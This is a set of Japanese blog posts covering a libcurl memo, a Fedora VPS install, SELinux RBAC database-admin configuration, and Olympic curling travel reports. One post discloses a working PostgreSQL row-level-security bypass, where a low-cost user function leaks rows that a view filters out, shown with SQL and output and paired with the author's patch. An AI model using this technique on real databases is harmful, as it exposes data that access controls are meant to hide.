OSS開発勉強会-08 (前半)

ひそやか〜に続けている社内勉強会のメモ。
(特に今回は資料もなかったので)

libcurl について

このライブラリを使うと、HTTP(s)ほかプロトコルでURLにアクセスする
プログラムを、非常に簡単に書く事ができる。

ソースコードはこちらのリポジトリ参照
http://github.com/shiumachi/curl_tut

ポイントとなるコードは以下の通り

まず、ライブラリ自体を初期化する。
この関数はThread-Safeではないので、Apacheのモジュールから使うのであれば、
child_initフックなどの初期化フェーズ(まだスレッドが作られていない)で
呼ぶ必要があるだろう。

curl_global_init(CURL_GLOBAL_SSL);

そして、これと対になるのが

curl_global_cleanup();

とりあえず、グローバルな初期化と終了処理はこの2つ。

そして、個々のURLに対するロジックの核は以下のブロック

  FILE *fp = stdout;
  char *url = "http://www.example.com/";
  CURL *curl;
    :
  curl = curl_easy_init();

  curlinfo = curl_version_info(CURLVERSION_NOW);

  curl_easy_setopt(curl, CURLOPT_WRITEDATA, fp);
  curl_easy_setopt(curl, CURLOPT_URL, url);

  res = curl_easy_perform(curl);

  curl_easy_cleanup(curl);

やる事は、curl_easy_init()で作成したCURLオブジェクトに、
色々オプションを指定して、最後にcurl_easy_perform()を実行する。
そうすると、この関数が指定したオプションに従って処理をしてくれる。

この場合、CURLOPT_URLで指定したURLからGETを試みて、取得したデータを
CURLOPT_WRITEDATAで指定したストリームに書き込む。

POSTメソッドの場合も非常に単純。libcurl-tutorial(3)を参照すると、
以下のような記述がある。

We provide a pointer to the data and tell libcurl to post it all to the remote site:

    char *data="name=daniel&project=curl";
    curl_easy_setopt(easyhandle, CURLOPT_POSTFIELDS, data);
    curl_easy_setopt(easyhandle, CURLOPT_URL, "http://posthere.com/");

    curl_easy_perform(easyhandle); /* post away! */

Simple enough, huh? Since you set the POST options with the CURLOPT_POSTFIELDS,
this automatically switches the handle to use POST in the upcoming request.

確かにこれは simple enough である。

さくらのVPSにFedoraをインスコ

話題のさくらVPS、早速申し込んでOSを入れ替えてみた。

私の好みにより、Fedora Linuxとする。

ただ、実際のところ、非常に簡単にインストールが終わり、
ちょっと拍子抜けしたくらい。

まず、標準のCentOS5.4環境にログインし、Fedoraのインストールイメージで
ブートするように grub の設定を書き換える。

[root@www5066u ~]# mount -o ro,loop Fedora-13-x86_64-netinst.iso /mnt/
[root@www5066u ~]# cp /mnt/images/pxeboot/vmlinuz \
                      /mnt/images/pxeboot/initrd.img /boot

ネットワークブート用の vmlinuz と initrd.img を /boot にコピー。
続いて、/boot/grun/grub.conf を以下のように書き換える。

# grub.conf generated by anaconda
#
# Note that you do not have to rerun grub after making changes to this file
# NOTICE:  You have a /boot partition.  This means that
#          all kernel and initrd paths are relative to /boot/, eg.
#          root (hd0,0)
#          kernel /vmlinuz-version ro root=/dev/vda2
#          initrd /initrd-version.img
#boot=/dev/vda
default=0
timeout=5
#splashimage=(hd0,0)/grub/splash.xpm.gz
serial --unit=0 --speed=115200 --word=8 --parity=no --stop=1
terminal --timeout=10 serial console
hiddenmenu
title Fedora 13 installation
        kernel /vmlinuz ro console=tty0 console=ttyS0,115200n8r
        initrd /initrd.img
title CentOS (2.6.18-194.8.1.el5)
        root (hd0,0)
        kernel /vmlinuz-2.6.18-194.8.1.el5 ro root=LABEL=/ console=tty0 console=ttyS0,115200n8r
        initrd /initrd-2.6.18-194.8.1.el5.img

そして再起動。ああ、その前にネットワーク設定を書き留めておこう。


ネットワークブート用のカーネルで起動すると、まずKeyBoardとNICの
設定を聞かれる。ここはIPv4で先ほど書きとめておいたネットワーク
設定を記入する。

続いて、インストール元を聞かれるので『URL』を選択し、適当な
Fedoraのミラーを指定する。今回は理研FTPサーバを使った。

Welcome to Fedora for x86_64                                                    

┌───────────┤ URL Setup  ├────────────┐
│                                                              │
│          Please enter the URL containing the Fedora          │
│          installation image on your server.                  │
│                                                              │
│ http://ftp.riken.jp/Linux/fedora/releases/13/Fedora/x86_64/os│
│                                                              │
│ [ ] Enable HTTP proxy                                        │
│                                                              │
│ Proxy URL        ___________________________________         │
│ Username         _______________                             │
│                                                              │
│ Password         _______________                             │
│                                                              │
│            ┌──┐                   ┌───┐             │
│            │ OK │                   │ Back │             │
│            └──┘                   └───┘             │
│                                                              │
│                                                              │
└───────────────────────────────┘

その後、install.img をロードして anaconda が起動するが、以降の作業は
VNCサーバ経由で行った方が吉。
テキストモードだと指定できないオプションもあるので。
(パーティション構成のCustom Layoutなど)

VNCで繋いでからの作業は特に特筆する事は無し。
普段のインストール時と同じようにして、最後に "reboot" ボタンを
クリックして完了。

あまりに簡単すぎて拍子抜けした。

[root@www5066u ~]# uname -r
2.6.33.3-85.fc13.x86_64
[root@www5066u ~]# df
Filesystem           1K-blocks      Used Available Use% Mounted on
/dev/sda2             19894140   3315412  15568144  18% /
tmpfs                   252784         0    252784   0% /dev/shm
/dev/sda1               101086     62494     33373  66% /boot
[root@www5066u ~]# free
             total       used       free     shared    buffers     cached
Mem:        505568     159116     346452          0      10944      65856
-/+ buffers/cache:      82316     423252
Swap:       655352          0     655352
[root@www5066u ~]# sestatus
SELinux status:                 enabled
SELinuxfs mount:                /selinux
Current mode:                   enforcing
Mode from config file:          enforcing
Policy version:                 24
Policy from config file:        targeted

swap 2GBはちょっと多すぎる気がしたので640MBに減らした。

もちろん、SELinuxは有効にしている。

RBACによるDB管理者の設定

やっとこさdbadm.ppポリシーがFedoraでも有効化されたので、RBACを使った
DB管理者の設定方法について記す事にする。

ポリシーは selinux-policy-3.9.1 以降を用意してほしい。
現時点ではRawhide(開発者版)向けなので、Fedora15での機能になるハズ。

方針は以下の通り。

  • ユーザ dba をDB管理者として定義する
  • ログイン時のロール:ドメインは staff_r:staff_t とする。
  • sudoを使って root に昇格する際に、dbadm_r:dbadm_t に変更。

まず、UNIXユーザ dba を定義する。

[root@masu ~]# useradd dba -g users
[root@masu ~]# passwd dba
Changing password for user dba.
New password:
Retype new password:
passwd: all authentication tokens updated successfully.

次に、対応する SELinux ユーザ dba_u を作成する。
dba_uは、UNIXユーザ dba と、staff_r および dbadm_r ロールを紐付ける目的で使用する。

[root@masu ~]# semanage user -a -P user -r s0 \
                        -R "system_r staff_r dbadm_r" dba_u
[root@masu ~]# semanage login -a -r s0 -s dba_u dba
[root@masu ~]# cp /etc/selinux/targeted/contexts/users/staff_u \
                  /etc/selinux/targeted/contexts/users/dba_u

最初の構文では、新たにSELinuxユーザ dba_u を定義する。
このSELinuxユーザには system_r と staff_r と dbadm_r ロールが
紐付けられている。
(system_rはサーバプロセスの起動のため)
また、ホームディレクトリのラベリングに使用する prefix として
user を指定(-P user)しているが、現状、これ以外の選択肢はない。

次の構文では、UNIXユーザ dba に対してログイン時に紐付けるSELinux
ユーザを指定している。ここで、先ほど定義した dba_u を指定する。

さらに、ログイン直後は staff_r:staff_t のロール/ドメインのペアを
関連付けるため、staff用の設定ファイルをコピーして使用する。
ログインしたらいきなり dbadm_r:dbadm_t というのは指定できない為念
(Dan Walshが「俺はそーゆーポリシーはヤダ」と突っぱねたので…。)

では、dbaでログインしてみよう。どうなるか。

[kaigai@masu ~]$ ssh dba@localhost
dba@localhost's password:
Last login: Thu Sep  9 22:33:52 2010 from localhost
[dba@masu ~]$ id -Z
dba_u:staff_r:staff_t:s0

確かに設定した通り、dba_u:staff_r:staff_t:s0 としてログインできている。

では最後に、ここから dbadm_r:dbadm_t に遷移するための sudo の設定を
行う事にしよう。

[root@masu ~]# echo "dba ALL=(ALL) ROLE=dbadm_r TYPE=dbadm_t NOPASSWD:/sbin/service" \
                    >> /etc/sudoers

この設定のポイントは、ROLE=dbadm_r と TYPE=dbadm_t である。
FedoraのsudoコマンドにはSELinux対応のパッチが含まれており、
sudoで権限を切り替える際に、ロール/ドメインも併せて指定する事ができる。
(ここ、テストに出ますよ!)

すると、どうなるか。

[dba@masu ~]$ sudo service sepostgresql start
Starting sepostgresql service:                             [  OK  ]
[dba@masu ~]$ ps -eZ | grep postgres
dba_u:system_r:postgresql_t:s0  13423 ?        00:00:01 sepostgres
dba_u:system_r:postgresql_t:s0  13425 ?        00:00:00 sepostgres
dba_u:system_r:postgresql_t:s0  13426 ?        00:00:00 sepostgres
dba_u:system_r:postgresql_t:s0  13427 ?        00:00:00 sepostgres
dba_u:system_r:postgresql_t:s0  13428 ?        00:00:00 sepostgres
dba_u:system_r:postgresql_t:s0  13429 ?        00:00:00 sepostgres
[dba@masu ~]$

こんな感じで、サーバプロセスの起動/停止が行えるようになる。

その他、sudo経由での/bin/bashを許可すれば、DB設定ファイルの編集ができたりするが、
それ以外のファイルには一切触れないという面白い事になったりする。

ユーザのホームディレクトリを読み込めず、さすがに辛いという場合は、
dbadm_read_user_files (読込のみ) か dbadm_manage_user_files (読み書き) の
booleanを設定して少しポリシーを緩めると良いだろう。

[root@masu ~]# setsebool -P dbadm_read_user_files 1

Step to break Row-level security using VIEWs

RDBMSでビューを使った行レベルアクセス制御はよく知られたテクニックである。
だが、PostgreSQLでユーザ定義関数を使って、ビューによる行レベルアクセス制御をバイパスする方法については、よく知られたテクニックであるかどうかは不明である。

下のユーザ定義関数を見てほしい。注目すべきは、関数の実行コストを 0.0001 と与えているところ。

postgres=# CREATE FUNCTION f_malicious(text) RETURNS bool
    LANGUAGE 'plpgsql' COST 0.0001
    AS 'BEGIN RAISE NOTICE ''f_malicious: %'', $1; RETURN true; END;';
CREATE FUNCTION

PostgreSQLに限らず、世間一般のRDBMSでは、SELECT文を実行してテーブルからデータを取り出す時に、タプルが検索条件に合致するかどうかを検査する必要がある。

PostgreSQLの最適化は、条件句に複数の条件がAND結合されている時に、実行コストの小さいものから順に実行するように、検索条件の実行順序を並べ替える。BOOL型のAND結合なので、当然、順序を入れ替えても実行結果は同じはずである。但し、副作用のない関数であればの話だが。

例えば、以下のようにテーブルとビューを定義して、主キーが奇数の行しか見えないとしよう。

postgres=# CREATE TABLE t1 (a int primary key, b text);
NOTICE:  CREATE TABLE / PRIMARY KEY will create implicit index "t1_pkey" for table "t1"
CREATE TABLE
postgres=# INSERT INTO t1 VALUES (1, 'aaa'), (2, 'bbb'), (3, 'ccc');
INSERT 0 3
postgres=# CREATE VIEW v1 AS SELECT * FROM t1 WHERE a & 1 = 1;
CREATE VIEW

postgres=# SELECT * FROM v1;
 a |  b
                • -
1 | aaa 3 | ccc (2 rows)

正しく動いているように見える。駄菓子菓子。

postgres=# SELECT * FROM v1 WHERE f_malicious(b);
NOTICE:  f_malicious: aaa
NOTICE:  f_malicious: bbb <--- え!?
NOTICE:  f_malicious: ccc
 a |  b
                • -
1 | aaa 3 | ccc (2 rows)

EXPLAINでクエリ実行計画を見てみると、謎が解ける。

postgres=# EXPLAIN SELECT * FROM v1 WHERE f_malicious(b);
                     QUERY PLAN
                                                                                                      • -
Seq Scan on t1 (cost=0.00..28.45 rows=2 width=36) Filter: (f_malicious(b) AND ( (a & 1) = 1)) (2 rows)

テーブルt1をスキャンする時に、検索条件は f_malicious() と (t1.a & 1) = 1 の2つだが、f_malicious() の作成時に実行コストを極めて小さく与えたために、最適化によって f_malicious() の実行の方が先に並べ替えられてしまった。

そのため、本来はフィルタリングされるはずの偶数キーのタプルの内容が f_malicious() に渡され、それが外部にリークするという結果をもたらしている。


実は、これとは別のシナリオで行レベルアクセス制御を破る方法も存在する。

下のビュー定義を見てほしい。内部で2つのテーブルをJOINしている。
同様に、偶数キーをフィルタリングしている。

postgres=# CREATE TABLE t2 (x int primary key, y text);
NOTICE:  CREATE TABLE / PRIMARY KEY will create implicit index "t2_pkey" for table "t2"
CREATE TABLE
postgres=# INSERT INTO t2 VALUES (1, 'xxx'), (2, 'yyy'), (3, 'zzz');
INSERT 0 3

postgres=# CREATE VIEW v2 AS SELECT * FROM t1 JOIN t2 ON t1.a = t2.x WHERE a & 1 = 1;
CREATE VIEW
postgres=# SELECT * FROM v2;
 a |  b  | x |  y
                                    • -
1 | aaa | 1 | xxx 3 | ccc | 3 | zzz (2 rows)

駄菓子菓子。これも案の定、簡単に破る事ができる。

postgres=# SELECT * FROM v2 WHERE f_malicious(y);
NOTICE:  f_malicious: xxx
NOTICE:  f_malicious: yyy <-- あれま!?
NOTICE:  f_malicious: zzz
 a |  b  | x |  y
                                    • -
1 | aaa | 1 | xxx 3 | ccc | 3 | zzz (2 rows)

同じように見えるが、これはさっきの現象とはシナリオが異なる。
下記のEXPLAINの出力結果を見てほしい。

postgres=# EXPLAIN SELECT * FROM v2 WHERE f_malicious(y);
                           QUERY PLAN
                                                                                                                              • -
Hash Join (cost=28.52..52.42 rows=6 width=72) Hash Cond: (t2.x = t1.a) -> Seq Scan on t2 (cost=0.00..22.30 rows=410 width=36) Filter: f_malicious(y) -> Hash (cost=28.45..28.45 rows=6 width=36) -> Seq Scan on t1 (cost=0.00..28.45 rows=6 width=36) Filter: ( (a & 1) = 1) (7 rows)

フィルタリングの条件 (t1.a & 1) = 1 が Seq-Scan on t1 に結びついている一方で、
f_malicious(y) が JOIN ループの内側、Seq-Scan on t2 に結びついているのである。

これは、JOINすべきタプルの数が少なければ少ないほど、処理が軽くて済むという考えから、
引数が t2 テーブルのみに依存している f_malicious() 関数を t2 スキャンに結びつける
という最適化が行われている。

もちろん、セキュリティ的な視点からはダウト。

てな事で、放置する訳にも行かないのでパッチを投稿。
http://archives.postgresql.org/message-id/4C076B96.8080502@ak.jp.nec.com

一番の問題は、SE-PostgreSQLの行レベル制御にも同じ方法を使うように提案されているものの、
こんなボロボロじゃ使い物にならないという事だ。早く直さねば。(´ー`;)

RBACでDB管理者ロールを定義する(前編)

RHEL6もβが公開とかで、そろそろRBACが真っ当に使えるようなSELinuxの標準ポリシーが出てきそうな今日この頃。先んじて設定方法をまとめておく。

一応、標準ではwebコンテンツ管理者ロールというのが入っているが、私の興味分野的にアレなので、DB管理者ロールを定義して、特定のユーザがDB管理者ロールの時にだけDB起動/再起動などを行えるようにしたい。

まず、ポリシーモジュールを書く。
既にアップストリームに統合済みのポリシーも含まれているので、後々のFedoraではconflictする事もあるやと。その場合は、適宜重複分を削ってほしい。

policy_module(dbadm, 1.1.0)

########################################
#
# Declarations
#

## <desc>
## <p>
## Allow dbadm to manage files in users home directories
## </p>
## </desc>
gen_tunable(dbadm_manage_user_files, false)

## <desc>
## <p>
## Allow dbadm to read files in users home directories
## </p>
## </desc>
gen_tunable(dbadm_read_user_files, false)

role dbadm_r;

userdom_base_user_template(dbadm)


########################################
#
# database admin local policy
#

allow dbadm_t self:capability { dac_override dac_read_search sys_ptrace };

files_dontaudit_search_all_dirs(dbadm_t)
files_manage_generic_locks(dbadm_t)
files_list_var(dbadm_t)

selinux_get_enforce_mode(dbadm_t)

logging_send_syslog_msg(dbadm_t)

userdom_dontaudit_search_user_home_dirs(dbadm_t)

tunable_policy(`dbadm_manage_user_files',`
        userdom_manage_user_home_content_files(dbadm_t)
        userdom_read_user_tmp_files(dbadm_t)
        userdom_write_user_tmp_files(dbadm_t)
')

tunable_policy(`dbadm_read_user_files',`
        userdom_read_user_home_content_files(dbadm_t)
        userdom_read_user_tmp_files(dbadm_t)
')

optional_policy(`
        mysql_admin(dbadm_t, dbadm_r)
')

optional_policy(`
        postgresql_admin(dbadm_t, dbadm_r)
')

optional_policy(`
        staff_role_change_to(dbadm_r)
')

#
# Hotfix in type_transition rules and permissions to execute
# system defined procedures.
# (memo: this fix was already upstreamed at Mon Apr 12 2010)
#
gen_require(`
        class db_database all_db_database_perms;
        class db_table all_db_table_perms;
        class db_procedure all_db_procedure_perms;
        class db_column all_db_column_perms;
        class db_tuple all_db_tuple_perms;
        class db_blob all_db_blob_perms;

        attribute sepgsql_admin_type;
        attribute sepgsql_database_type;
        type sepgsql_db_t;
        type sepgsql_table_t;
        type sepgsql_proc_exec_t;
        type sepgsql_blob_t;
')
type_transition sepgsql_admin_type sepgsql_admin_type:db_database sepgsql_db_t;
type_transition sepgsql_admin_type sepgsql_database_type:db_table sepgsql_table_t;
type_transition sepgsql_admin_type sepgsql_database_type:db_procedure sepgsql_proc_exec_t;
type_transition sepgsql_admin_type sepgsql_database_type:db_blob sepgsql_blob_t;

allow sepgsql_admin_type sepgsql_proc_exec_t:db_procedure execute;

これをビルドしてインストール

$ vi dbadm.te
$ make -f /usr/share/selinux/devel/Makefile dbadm.pp
find: `~.doc': No such file or directory
Compiling targeted dbadm module
/usr/bin/checkmodule:  loading policy configuration from tmp/dbadm.tmp
/usr/bin/checkmodule:  policy configuration loaded
/usr/bin/checkmodule:  writing binary representation (version 10) to tmp/dbadm.mod
Creating targeted dbadm.pp policy package
rm tmp/dbadm.mod tmp/dbadm.mod.fc
$ su
Password:
# semodule -i dbadm.pp
# semodule -l | grep dbadm
dbadm   1.1.0

OK。これで下準備は終わり。
後々のFedora/RedHatELのアップデートでは、この辺の下準備は必要なくなると思う。

次いで、SELinuxユーザとロールとの関連付けを行う。
SELinuxユーザというのは、UNIXユーザとロールに対してN:Mの対応付けを行うための抽象的な識別子で、あるロールの組(例:foo_r var_r baz_r)に対してUNIXユーザ(例:hoge monu)を対応させる場合に、1個のSELinuxユーザを定義してfoo_r var_r baz_rを紐付け、そこにhogeとmonuを関連付けてやる。

ここでは、sepgsql_uというSELinuxユーザを作成し、staff_r/dbadm_r/system_rを紐付けている。

  • Rオプション以外はひとまず"おまじない"だと思ってほしい。
# semanage user -a -R "staff_r dbadm_r system_r" -P user \
             -r s0-s0:c0.c1023 -L s0-s0:c0.c1023 sepgsql_u

次に、sepgsqlというUNIXユーザを、先ほど定義したsepgsql_uに関連付ける。

# semanage login -a -s sepgsql_u -r s0-s0:c0.c1023 sepgsql

最後に、sepgsql_uユーザがログイン時に利用するロールを指定する設定ファイルをコピーする。
今回の場合は、staff_uと全く同じなので編集の必要はなし。

# cp /etc/selinux/targeted/contexts/users/staff_u \
     /etc/selinux/targeted/contexts/users/sepgsql_u

では、sepgsqlユーザでログインしてみよう。

[root@masu ~]# ssh sepgsql@localhost
sepgsql@localhost's password:
Last login: Sat Apr 24 11:32:56 2010 from localhost
[sepgsql@masu ~]$ id -Z
sepgsql_u:staff_r:staff_t:s0-s0:c0.c1023

OK、sepgsqlでログインすると、SELinuxユーザはsepgsql_uで、ロール/ドメインはstaff_rになっている。

続いて、sepostgresqlデーモンを起動/停止するためのsudoを設定する。

echo "sepgsql ALL=(ALL) ROLE=dbadm_r TYPE=dbadm_t NOPASSWD:/sbin/service" >> /etc/sudoers

ROLE= とか TYPE= はSELinux用の拡張で、sudoする時にロールやドメインを切り替える。この場合、dbadm_r/dbadm_tに切り替える。

では、sepostgresqlを初期化/起動してみる。

[sepgsql@masu ~]$ sudo service sepostgresql initdb
Initializing database:                                 [  OK  ]
[sepgsql@masu ~]$ sudo service sepostgresql start
Starting sepostgresql service:                         [  OK  ]
[sepgsql@masu ~]$ ps -AZ | grep sepostgres
sepgsql_u:system_r:postgresql_t:s0-s0:c0.c1023 19695 ? 00:00:01 sepostgres
sepgsql_u:system_r:postgresql_t:s0-s0:c0.c1023 19697 ? 00:00:00 sepostgres
sepgsql_u:system_r:postgresql_t:s0-s0:c0.c1023 19698 ? 00:00:00 sepostgres
sepgsql_u:system_r:postgresql_t:s0-s0:c0.c1023 19699 ? 00:00:00 sepostgres
sepgsql_u:system_r:postgresql_t:s0-s0:c0.c1023 19700 ? 00:00:00 sepostgres
sepgsql_u:system_r:postgresql_t:s0-s0:c0.c1023 19701 ? 00:00:00 sepostgres

OK、無事に起動しているのがわかる。

定義済み boolean の設定しだいでは、dbadm_u ロールにはユニークな権限を持たせることができる。その辺の解説はまた後日。

バンクーバレポート(その9/帰国編)

最終デンマーク戦を観戦して、King Edwards駅から Canada Train で Richmond Brighouse駅へ
そして、バスで宿へ帰る。この時間帯、帰りのバスである410系統は30分毎なので、結構待つ
事になる。

しばらくすると、バスがやってきた。401系統…だめぽ。
またしばらくすると、バスがやってきた。403系統…だめぽ。
さらに、バスがやってきた。NOT IN SERVICE…だめぽ、と思ったら、運転手が
『お前ら、何のバス待ってるんだ?』
「410」
「410」
「402」
「410」
『よし、俺に任せろ』

という事で、そのバスは410系統に早代わり。カナダのバスってフリーダムなのねwwww

宿に帰ると、もう疲れ果てたって感じ。
風呂に入る。欧米の風呂はシャワーを浴びるように作られているが、知らん。風呂だ風呂。お湯を張って久々にリラックス。


翌朝、宿のオーナーがバンクーバ国際空港まで送ってくれることになっていたので、そそくさと荷造り。まだ全身的な倦怠感は残る。
飛行機の中は結構冷えるので、観戦中に来ていたバイク用のオーバーパンツを着込む。

Richmondから空港に向かう間、スピードスケートの会場、Olympic ovalが見える。

高速道を走り、五輪のモニュメントを脇目に、空港が見えてくると、もう一度、この場所を訪れることがあるかなーと、ちょっと感慨に浸る。

空港で遅い朝ごはん。なんせ、昨日の夕方から何も食べてないので本当に腹ペコ。
何か文化侵略くさいレストラン(写真)があるが、ピザとかハンバーガーもねーだろという事で、チャーハンと酢豚と麻婆豆腐のセットを頼む。

セキュリティチェックを抜けて、職場その他へのお土産品を探す。
おや、オリンピック公式ショップが。そういえば、みっちゃさんにカウベルを探しといてと
頼まれてた事を思い出すと…あった。即購入。

その他、メープルシロップのお菓子等を購入して53番搭乗口へ。
まだしばらく時間がある。眠い。気がつくと、ソファに横になってて、搭乗時間の5分前だった。

わさわさと機内に乗り込む。

機内ではひたすら寝るのと、読書と、あとMixiの日記を書いてたw

帰りの機内では『FREE-無料からお金を生み出す新戦略-』を読了
興味深い視点が提起されていた。これはまたどっかでレビュー書きたい。

エアカナダの機内食はこんな感じ(写真)。
普段JALユーザの俺様には貧相に見えるけど、普通のエコノミーだとこんなもんかな?
たださすがに、JALの機内食とエアカナダの機内食の間に、3〜4万円の価値の差は見出せない。

成田に到着。総武線が信号故障の影響で成田エキスプレスの運転再開の目途が立っていないらしい。
まぁ、安いしスカイライナーで帰るか。日暮里乗換えで、目黒から東急線。
西小山に帰って、いつもの駅前の定食屋で肉野菜炒めライスを注文。
なんか帰ってきた実感がする。

疲れた。本格的に風邪をひかないよう、ビタミンウォーターを購入して帰宅。

畳の上の布団は素晴らしい。

写真はお土産の一部。まだ部屋の片付けとか、CASの景品一覧のぶんたまさんへの送付とか色々あるけど、とにかく疲れた。寝る。

以上、KaiGaiのバンクーバ訪問珍道中でした。

バンクーバレポート(その8/対デンマーク戦編)

2月23日 19:00 vs デュポン姉妹率いるデンマーク戦

今回の観戦ツアーの最後の試合であり、既に予選敗退が決まった日本代表チームにとっても、
バンクーバ五輪での最後のゲームである。バグパイプの演奏に先導されて入場してくる選手達。感慨深い。

試合前、カーラー各位のメッセージを書いた国旗をポールに結んでいたところ、実況席の小林さんに発見され、記念の一枚。残り試合も解説頑張って下さい。

試合開始。
1END/2ENDは静かな攻防。

試合が動いたのは3END。相手のスルーを契機に、テイクの打ち合いからガードを配してのゲームになる。だが、本橋さんのガードが僅かストーン半個ずれたのを見逃してくれず、ダブルテイクアウトで局面がひっくり返る。そして目黒さん、痛恨のスルー。
見てたのは横からだけど、ちょっと幅に対してウェイトが強かった気がする。
最後にドローをきっちり置かれて0−3。ありゃりゃ。

4ENDも、目黒さんの1投目でロールしたかったけども、反対方向に流れて3点ならず。
2点返して2−3。おっしゃまだまだ。

5END、途中で相手のダブルテイクアウトもあったり、タップバックがずれたりと、緊迫した場面もあったけど、目黒さんがポケットにきっちりフリーズを決めて、1点取らせて2−4。

6END、中継を見れなかった人にはイマイチラストショットの意図が分からなかったとの事。
これは目黒さん、完全に3点を取ろうとしたショットでした。本橋さんの2投目、自身の1投目が完全にティー前を支配できず、微妙にNo.2/4だったので、相手のNo.1を押して自分のNo.2を押し、相手はピールアウトさせつつ、押したNo.2で相手No.3をアウトにしようという作戦。
角度が完璧なら自分のNo.4は動かないので、もし自分がスキップでも同じ選択をしたと思う(成功するかどうかは置いておいてw)

ただ、ちょっとウェイトが強すぎて、自分のNo.4ストーンにまで接触してしまった。
ノーマルダウンくらいのウェイトで、微妙なアングルの調整はスイーパーに任せた方が上手く行ったかも。何はともあれ、同点に追いつく。4−4

7END、クリーンな展開を保ってブランク。綺麗にセンターガードを置けたんだけども、ロールする方向が逆になったり、ステイしたりと、なかなかジャムな展開を作れない。
まずいな...偶数エンドでの後攻を取られたぞ。

8END。石崎さんのショットは結果論ながら綺麗なダブルセンターガードの形になる。
先攻だけども結構期待できる…が、山浦さんのカマーが前を割ってしまった。
前後に距離のあるセンターガードだと、カマー合戦になりがちなので、スチールの展開もアリかと思ったが…。
山浦さん2投目、本橋さん2投目でダブルテイクアウトを狙うも決まらず。
この辺、微妙な、それこそ数cmのレベルのコントロールで相手に分があった気がする。
目黒さんのラストショット、観客席からの視点だと思わず『やめて!萌絵ちゃん!』と叫びたいくらいのアクロバティック 赤→赤→黄→黄 のアングル・レイズ・ダブルテイクアウト

でも、ここでうまく処理できないと、3点を献上した上に、10END先攻という展開。
『がんばれ!目黒!』と祈るが、無情にもアングルがついた当たり方で、相手のストーンを動かすことはできず。嗚呼、4−7

9END、そりゃ逃げにかかるよな…。
結局、折角の後攻も1点を取らされる形に。
ただ、2点スチールと、3点後攻と、難易度的には変わらないかも。
応援席も一段とボルテージが上がって『日本!』コール。既に試合の終わったカナダの応援団も混じって『NIPPON!!』コール。まるでホーム会場のようだ。

10END、なんとか2点を取りたいところだが....
あぁぁぁぁ、、、石崎さんの置いたガードが見事にウィックでずらされた。なんて憎々しい。
目黒さん、なんとか反転攻勢をしようとガードを置くが、ことごとくヒットで打たれて、刻々と残り少なくなっていくストーン。
本橋さんは相手ストーンの裏にカマーを試みるも、ヒットできる位置。目黒さんの2投目もカマーすることができず、これを弾かれたところでコンシード。残念!

これで、チーム青森のバンクーバオリンピックは終わり。
試合が終わった後、静けさを取り戻したシートの周りを名残惜しそうにぐるりと一週歩いて、観客席の各区画ごとに応援へのお礼をしていた目黒さん・本橋さんの姿が印象的でした。


観客席からは「ありがとう!」「胸張って日本へ帰って来いよ!」の声

外野からは色々とノイズが聞こえてくるかもしれないけども、チーム青森が全国のカーラーの代表として世界の競合と全力を尽くして戦ったという事は、なんら恥じることの無い事実。
3勝6敗(8位)という成績だったのは、勝負の時の運もあるし、100%の力でぶつかり合った結果の力不足という事もあるだろう。

誰のミスがどーのこーのとか、そういうのはコーチなり協会なりがきちっと分析して、今後の強化方針にフィードバックすれば良いだけ。
自分としては、わざわざ地球の裏側に出向いてまでその場の空気の中でゲームを見る事ができたというだけでも、素晴らしい経験だったように思う。

チーム青森/チーム日本に拍手!!